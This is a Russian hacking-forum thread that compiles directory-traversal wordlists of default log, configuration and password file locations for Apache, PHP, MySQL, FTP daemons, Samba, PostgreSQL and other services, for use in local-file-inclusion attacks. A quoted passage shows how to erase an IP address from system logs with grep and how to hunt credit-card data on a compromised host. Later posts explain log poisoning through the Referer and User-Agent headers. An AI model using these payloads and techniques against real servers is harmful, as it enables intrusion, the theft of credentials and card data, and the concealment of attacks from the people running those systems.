Форум АНТИЧАТ
Страница 1 из 4 1 2 3 4 >
Показывать 40 сообщений этой темы на одной странице

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Проверка на уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=110)
-   -   Default *log, *conf files locations (https://forum.antichat.xyz/showthread.php?t=49775)

ettee 24.09.2007 22:12
Default *log, *conf files locations
 
Apache:
*log
Код:
../../../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../../../var/log/httpd/error_log
../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../var/log/httpd/error_log
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../apache/logs/error.log
../../../../apache/logs/access.log
../../../../../apache/logs/error.log
../../../../../apache/logs/access.log
../apache2/logs/error.log
../apache2/logs/access.log
../../apache2/logs/error.log
../../apache2/logs/access.log
../../../apache2/logs/error.log
../../../apache2/logs/access.log
../../../../apache2/logs/error.log
../../../../apache2/logs/access.log
../../../../../apache2/logs/error.log
../../../../../apache2/logs/access.log
../logs/error.log
../logs/access.log
../../logs/error.log
../../logs/access.log
../../../logs/error.log
../../../logs/access.log
../../../../logs/error.log
../../../../logs/access.log
../../../../../logs/error.log
../../../../../logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../usr/local/apache2/logs/access_log
../../../../../../../../../../usr/local/apache2/logs/access.log
../../../../../../../../../../usr/local/apache2/logs/error_log
../../../../../../../../../../usr/local/apache2/logs/error.log
../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../var/log/httpd/access.log
../../../../../../../../../../var/log/httpd/error_log
../../../../../../../../../../var/log/httpd/error.log
../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../var/log/apache2/access_log
../../../../../../../../../../var/log/apache2/access.log
../../../../../../../../../../var/log/apache2/error_log
../../../../../../../../../../var/log/apache2/error.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/access.log
../../../../../../../../../../var/log/error_log
../../../../../../../../../../var/log/error.log
../../../../../../../../../../opt/lampp/logs/access_log
../../../../../../../../../../opt/lampp/logs/error_log
../../../../../../../../../../opt/xampp/logs/access_log
../../../../../../../../../../opt/xampp/logs/error_log
../../../../../../../../../../opt/lampp/logs/access.log
../../../../../../../../../../opt/lampp/logs/error.log
../../../../../../../../../../opt/xampp/logs/access.log
../../../../../../../../../../opt/xampp/logs/error.log
../../../../../../../../../../Program Files\Apache Group\Apache\logs\access.log
../../../../../../../../../../Program Files\Apache Group\Apache\logs\error.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../apache/logs/error.log
../../../../apache/logs/access.log
../../../../../apache/logs/error.log
../../../../../apache/logs/access.log
../../../../../../apache/logs/error.log
../../../../../../apache/logs/access.log
../../../../../../../apache/logs/error.log
../../../../../../../apache/logs/access.log
../../../../../../../../apache/logs/error.log
../../../../../../../../apache/logs/access.log
../../../logs/error.log
../../../logs/access.log
../../../../logs/error.log
../../../../logs/access.log
../../../../../logs/error.log
../../../../../logs/access.log
../../../../../../logs/error.log
../../../../../../logs/access.log
../../../../../../../logs/error.log
../../../../../../../logs/access.log
../../../../../../../../logs/error.log
../../../../../../../../logs/access.log
../../../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../../../var/log/access_log
../../../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../../../var/log/access_log
../../../../../../../../../../../../var/log/error_log
*conf
Код:
../../../../../../usr/local/apache/conf/httpd.conf
../../../../../../usr/local/apache2/conf/httpd.conf
../../../../../../etc/httpd/conf/httpd.conf
../../../../../../etc/apache/conf/httpd.conf
../../../../../../usr/local/etc/apache/conf/httpd.conf
../../../../../../etc/apache2/httpd.conf
../../../../../../../../../usr/local/apache/conf/httpd.conf
../../../../../../../../../usr/local/apache2/conf/httpd.conf
../../../../../../../../usr/local/apache/httpd.conf
../../../../../../../../usr/local/apache2/httpd.conf
../../../../../../../../usr/local/httpd/conf/httpd.conf
../../../../../../../usr/local/etc/apache/conf/httpd.conf
../../../../../../../usr/local/etc/apache2/conf/httpd.conf
../../../../../../../usr/local/etc/httpd/conf/httpd.conf
../../../../../../../usr/apache2/conf/httpd.conf
../../../../../../../usr/apache/conf/httpd.conf
../../../../../../../usr/local/apps/apache2/conf/httpd.conf
../../../../../../../usr/local/apps/apache/conf/httpd.conf
../../../../../../etc/apache/conf/httpd.conf
../../../../../../etc/apache2/conf/httpd.conf
../../../../../../etc/httpd/conf/httpd.conf
../../../../../../etc/http/conf/httpd.conf
../../../../../../etc/apache2/httpd.conf
../../../../../../etc/httpd/httpd.conf
../../../../../../etc/http/httpd.conf
../../../../../../etc/httpd.conf
../../../../../opt/apache/conf/httpd.conf
../../../../../opt/apache2/conf/httpd.conf
../../../../var/www/conf/httpd.conf
../../../private/etc/httpd/httpd.conf
../../../private/etc/httpd/httpd.conf.default
../../Volumes/webBackup/opt/apache2/conf/httpd.conf
../../Volumes/webBackup/private/etc/httpd/httpd.conf
../../Volumes/webBackup/private/etc/httpd/httpd.conf.default
../../../../../../../../../Program Files\Apache Group\Apache\conf\httpd.conf
../../../../../../../../../Program Files\Apache Group\Apache2\conf\httpd.conf
../../../../../../../../../Program Files\xampp\apache\conf\httpd.conf
../../../../../../../../../usr/local/php/httpd.conf.php
../../../../../../../../../usr/local/php4/httpd.conf.php
../../../../../../../../../usr/local/php5/httpd.conf.php
../../../../../../../../../usr/local/php/httpd.conf
../../../../../../../../../usr/local/php4/httpd.conf
../../../../../../../../../usr/local/php5/httpd.conf
../../../../../../../../../Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf
../../../../../../../../../Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf
../../../../../../../../../Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf
../../../../../../../../../Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php
../../../../../../../../../Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php
../../../../../../../../../Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php
/usr/local/etc/apache/vhosts.conf
php.ini
Код:
../../../../../../../../../etc/php.ini
../../../../../../../../../bin/php.ini
../../../../../../../../../etc/httpd/php.ini
../../../../../../../../../usr/lib/php.ini
../../../../../../../../../usr/lib/php/php.ini
../../../../../../../../../usr/local/etc/php.ini
../../../../../../../../../usr/local/lib/php.ini
../../../../../../../../../usr/local/php/lib/php.ini
../../../../../../../../../usr/local/php4/lib/php.ini
../../../../../../../../../usr/local/php5/lib/php.ini
../../../../../../../../../usr/local/apache/conf/php.ini
../../../../../../../../../etc/php4.4/fcgi/php.ini
../../../../../../../../../etc/php4/apache/php.ini
../../../../../../../../../etc/php4/apache2/php.ini
../../../../../../../../../etc/php5/apache/php.ini
../../../../../../../../../etc/php5/apache2/php.ini
../../../../../../../../../etc/php/php.ini
../../../../../../../../../etc/php/php4/php.ini
../../../../../../../../../etc/php/apache/php.ini
../../../../../../../../../etc/php/apache2/php.ini
../../../../../../../../../web/conf/php.ini
../../../../../../../../../usr/local/Zend/etc/php.ini
../../../../../../../../../opt/xampp/etc/php.ini
../../../../../../../../../var/local/www/conf/php.ini
../../../../../../../../../etc/php/cgi/php.ini
../../../../../../../../../etc/php4/cgi/php.ini
../../../../../../../../../etc/php5/cgi/php.ini
../../../../../../../../../php5\php.ini
../../../../../../../../../php4\php.ini
../../../../../../../../../php\php.ini
../../../../../../../../../PHP\php.ini
../../../../../../../../../WINDOWS\php.ini
../../../../../../../../../WINNT\php.ini
../../../../../../../../../apache\php\php.ini
../../../../../../../../../xampp\apache\bin\php.ini
../../../../../../../../../NetServer\bin\stable\apache\php.ini
../../../../../../../../../home2\bin\stable\apache\php.ini
../../../../../../../../../home\bin\stable\apache\php.ini
../../../../../../../../../Volumes/Macintosh_HD1/usr/local/php/lib/php.ini
Cpanel:
*log
/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
*conf
/var/cpanel/cpanel.config

MySQL:
*log
/var/log/mysql/mysql-bin.log
/var/log/mysql.log
/var/log/mysqlderror.log
/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/mysql.log
*conf
/var/lib/mysql/my.cnf
/etc/mysql/my.cnf
/etc/my.cnf

MySQL(Windows):
*log
Код:
C:\Program Files\MySQL\MySQL Server 5.0\data\hostname.err
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql.log
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql.err
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql-bin.log
C:\Program Files\MySQL\data\hostname.err
C:\Program Files\MySQL\data\mysql.log
C:\Program Files\MySQL\data\mysql.err
C:\Program Files\MySQL\data\mysql-bin.log
C:\MySQL\data\hostname.err
C:\MySQL\data\mysql.log
C:\MySQL\data\mysql.err
C:\MySQL\data\mysql-bin.log
*conf
Код:
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\my.cnf
C:\MySQL\my.ini
C:\MySQL\my.cnf
Mod Security:
*log
/usr/local/apache/logs/audit_log
/logs/security_debug_log
/logs/security_log
*conf
/usr/local/apache/conf/modsec.conf


FTP:


ProFTPD:
*log
/etc/logrotate.d/proftpd
/www/logs/proftpd.system.log
/var/log/proftpd
*conf
/etc/proftp.conf
/etc/protpd/proftpd.conf
/etc/vhcs2/proftpd/proftpd.conf
/etc/proftpd/modules.conf

vsftpd:
*log
/var/log/vsftpd.log
/etc/vsftpd.chroot_list
/etc/logrotate.d/vsftpd.log
*conf
/etc/vsftpd/vsftpd.conf
/etc/vsftpd.conf
/etc/chrootUsers

wu-ftpd:
*log
/var/log/xferlog
/var/adm/log/xferlog
*conf
/etc/wu-ftpd/ftpaccess
/etc/wu-ftpd/ftphosts
/etc/wu-ftpd/ftpusers

Pure-FTPd:
*conf
/usr/sbin/pure-config.pl
/usr/etc/pure-ftpd.conf
/etc/pure-ftpd/pure-ftpd.conf
/usr/local/etc/pure-ftpd.conf
/usr/local/etc/pureftpd.pdb
/usr/local/pureftpd/etc/pureftpd.pdb
/usr/local/pureftpd/sbin/pure-config.pl
/usr/local/pureftpd/etc/pure-ftpd.conf
-/etc/pure-ftpd.conf
/etc/pure-ftpd/pure-ftpd.pdb
/etc/pureftpd.pdb
/etc/pureftpd.passwd
/etc/pure-ftpd/pureftpd.pdb
DragonflyBSD & FreeBSD: /usr/ports/ftp/pure-ftpd/
OpenBSD: /usr/ports/net/pure-ftpd/
NetBSD: /usr/pkgsrc/net/pureftpd/
Crux Linux: /usr/ports/contrib/pure-ftpd/
*log
/var/log/pure-ftpd/pure-ftpd.log
/logs/pure-ftpd.log
/var/log/pureftpd.log

Other:
/var/log/ftp-proxy/ftp-proxy.log
/var/log/ftp-proxy
/var/log/ftplog
/etc/logrotate.d/ftp
/etc/ftpchroot
/etc/ftphosts


Mail server:
Exim:
*log
/var/log/exim_mainlog
/var/log/exim/mainlog
/var/log/maillog
/var/log/exim_paniclog
/var/log/exim/paniclog
/var/log/exim/rejectlog
/var/log/exim_rejectlog

Информация к размышлению:
Цитата:
/usr/bin/grep
Grep по своей сути - поиск шаблона в файле. Нередко его используют в конвейере для поиска шаблона, например cat /etc/passwd | grep root, хотя можно было бы обойтись командой grep root /etc/passwd. У grep также есть замечательные опции, которыми можно воспользоваться:
grep -v string file - выведет все строки, которые содержат string. Отсюда приходит мысль: чистка логов обойдется всего лишь в 2 команды (убираем все строки из /var/log/messages содержащие ip-адрес 127.0.0.1) # grep -v '127.0.0.1' /var/log/messages > /var/log/mess; mv /var/log/mess /var/log/messages
Все обходится без специальных логвайперов (кстати, оные тоже юзают grep -v).
grep -r - рекурсивный поиск. С опцией -E, выводящей все совпадения прямо на экран можно поискать Credit Cards на заломанной машине. Слюнки потекли? Показываю как:
# grep -iEr visa /var/lib/mysql >/tmp/cc.log 2>&1
Записываем все совпадения в /tmp/cc.log.
- Выполнение команд через локальный инклюд
- Логи для умных
- ЗАМЕТАЕМ СЛЕДЫ В LINUX
- Скажи логам нет!
- В борьбе с журнальными бестиями
- Боремся с логами в *nix
- Боремся с логами в *nix #2
- Бортжурнал юниксоида
- О взломе лог файлов
thx [53x]Shadow

Elekt 25.09.2007 16:33
Вложений: 1

В аттаче - элементарная утилитка для проверки GET инклудов.

Если у вас есть РАСПРОСТРАНЕННЫЙ ПУТЬ отстуствующий в списке - запостите его.

Elekt 26.10.2007 20:11
Значит, помниццо были разговоры про то что при инклуде логов возникают проблемы и т.п.

В error_log часто пишется "Referer".

В access_log - "User-Agent".

И касательно мифа по тому что символы < > кодируюццо в URL аналоги и "ничего не сделаешь" - запустите любой http-снифер и вы увидите, что это браузер виноват - он автоматом переводит символы в урл.
Просто пошлите пакет любой тулзой типа AccessDriver.

~!DoK_tOR!~ 10.11.2007 19:06
...

Код:
../../../../../../usr/local/apache/bin/httpd
../../../../../../../../../usr/local/apache/conf/httpd.conf.default
../../../../../../../../etc/httpd/logs/access_log
../../../../../../../../etc/httpd/logs/access.log
../../../../../../../../../usr/local/apache/conf/access.conf

ettee 25.12.2007 18:34
MuddleFTPD

*log
Код:
/var/log/muddleftpd
/usr/sbin/mudlogd
/etc/muddleftpd/mudlog
*conf
Код:
/etc/muddleftpd.com
/etc/muddleftpd/mudlogd.conf
/etc/muddleftpd/muddleftpd.conf
/var/log/muddleftpd.conf
/usr/sbin/mudpasswd
/etc/muddleftpd/muddleftpd.passwd
/etc/muddleftpd/passwd

ettee 03.01.2008 21:04
В большенстве случаев сервер под управлением Win NT хранит свои лог файлы в следующих директориях:

HTTP:
%SystemRoot%\system32\logfiles\W3SVC#(W3SVC1,W3SVC2,W3SVC3...)\
FTP:
%SystemRoot%\system32\logfiles\MSFTPSVC#(MSFTPSVC4,MSFTPSVC5...)\
SMTP:
%SystemRoot%\system32\logfiles\SMTPSVC#(SMTPSVC1,SMTPSVC2...)\

# -обозначает номер веб-сайта(номер узла) (по умолчанию равен "1")

Имя файла соответствует его дате создания: in02039.log (2002 9-ое марта)

Примечание по типам журнулов:
IIS аббревиатурой служит "in"
W3C аббревиатурой служит "ex"
NCSA аббревиатурой служит "nc"

Отчёты стандартного Firewall'а:
%SystemRoot%\system32\logfiles\Firewall\pfirewall. log
%SystemRoot%\system32\logfiles\Firewall\pfirewall. log.old

ettee 05.01.2008 04:09
lighthttpd

*log
/var/log/lighttpd.error.log
/var/log/lighttpd.access.log
/var/lighttpd.log
/var/logs/access.log
/var/log/lighttpd/
/var/log/lighttpd/error.log
/var/log/lighttpd/access.www.log
/var/log/lighttpd/error.www.log
/var/log/lighttpd/access.log
/usr/local/apache2/logs/lighttpd.error.log
/usr/local/apache2/logs/lighttpd.log
/usr/local/apache/logs/lighttpd.error.log
/usr/local/apache/logs/lighttpd.log
/var/log/lighttpd.access.log
/var/log/lighttpd.error.log
/usr/local/lighttpd/log/lighttpd.error.log
/usr/local/lighttpd/log/access.log
/var/log/lighttpd/mydomain/access.log
/var/log/lighttpd/mydomain/error.log
/usr/home/user/var/log/lighttpd.error.log
/usr/home/user/var/log/apache.log

*conf
/home/user/lighttpd/lighttpd.conf
/usr/home/user/lighttpd/lighttpd.conf
/etc/lighttpd/lighthttpd.conf
/usr/local/etc/lighttpd.conf
/usr/local/lighttpd/conf/lighttpd.conf
/usr/local/etc/lighttpd.conf.new
/var/www/.lighttpdpassword

Samba
*conf
/etc/smbpasswd
/etc/smb.conf
/etc/samba/smb.conf
/etc/samba/samba.conf
/etc/samba/smb.conf.user
/etc/samba/smbpasswd
/etc/samba/smbusers
/etc/samba/private/smbpasswd
/etc/samba/smb.conf.198.166.0.5
/usr/local/samba/lib/smb.conf.198.166.0.5
/usr/local/etc/smb.conf
/usr/local/samba/lib/smb.conf.user
/daten/home/gr-user



*log
/usr/local/samba/lib/log.user
/usr/local/logs/samba.log
/usr/local/samba/lib/log.198.166.0.5
/var/log/samba/log.smbd
/var/log/samba/log.nmbd
/var/log/samba.log
/var/log/samba.log1
/var/log/samba.log2
/var/log/samba/samba_198.166.0.5.log
/var/log/samba/198.166.0.5.log
/var/log/samba.198.166.0.5
/var/log/samba.log.198.166.0.5
/var/log/samba/198.166.0.5
/var/log/log.smb
/var/log/samba-log.198.166.0.5
/etc/samba/netlogon

ettee 05.01.2008 19:07
PostgreSQL

*log
/var/postgresql/log/postgresql.log
/var/log/postgresql/postgresql.log
/var/log/postgres/pg_backup.log
/var/log/postgres/postgres.log
/var/log/postgresql.log
/var/log/pgsql/pgsql.log
/var/log/postgresql/postgresql-8.1-main.log
/var/log/pgsql8.log
/var/log/postgresql/postgres.log
/var/log/pgsql_log
/var/log/postgresql/main.log
/var/log/cron /var/log/postgres.log
/usr/internet/pgsql/data/postmaster.log
/usr/local/pgsql/data/postgresql.log
/usr/local/pgsql/data/pg_log
c:\PostgreSQL\log\pgadmin.log

*conf
/var/lib/pgsql/data/postgresql.conf
/var/postgresql/db/postgresql.conf
/var/nm2/postgresql.conf
/usr/local/pgsql/data/postgresql.conf
/usr/local/pgsql/data/pg_hba.conf
/usr/internet/pgsql/data/pg_hba.conf
/usr/local/pgsql/data/passwd
/usr/local/pgsql/bin/pg_passwd
/etc/postgresql/postgresql.conf
/etc/postgresql/pg_hba.conf
/home/postgres/data/postgresql.conf
/home/postgres/data/PG_VERSION
/home/postgres/data/pg_ident.conf
/home/postgres/data/pg_hba.conf

Error Reporting and Logging

ettee 07.01.2008 23:14
ipfw (BSD)

*log
/var/log/ipfw.log
/var/log/ipfw
/var/log/ipfw/ipfw.log
/var/log/ipfw.today


*conf
/etc/ipfw.rules
/etc/ipfw.conf
/etc/firewall.rules

ettee 07.08.2008 23:19
Вложений: 1
*обновление постов.

Структура архива:
_all_apache.log.txt
_all_httpd.conf.txt
_all_log.txt -LAMPP, XAMPP, Apache.
_all_php.ini.txt
_all_mysql.txt
_all_mysql_win.txt
_all_cpanel.txt
_all_modsecurity.txt
_all_ftp.txt -ProFTPD, vsftpd, wu-ftpd,Pure-FTPd, MuddleFTPD.
_all_samba.txt
_all_lighthttpd.txt
_all_postgresq.txt


Время: 00:19
Страница 1 из 4 1 2 3 4 >
Показывать 40 сообщений этой темы на одной странице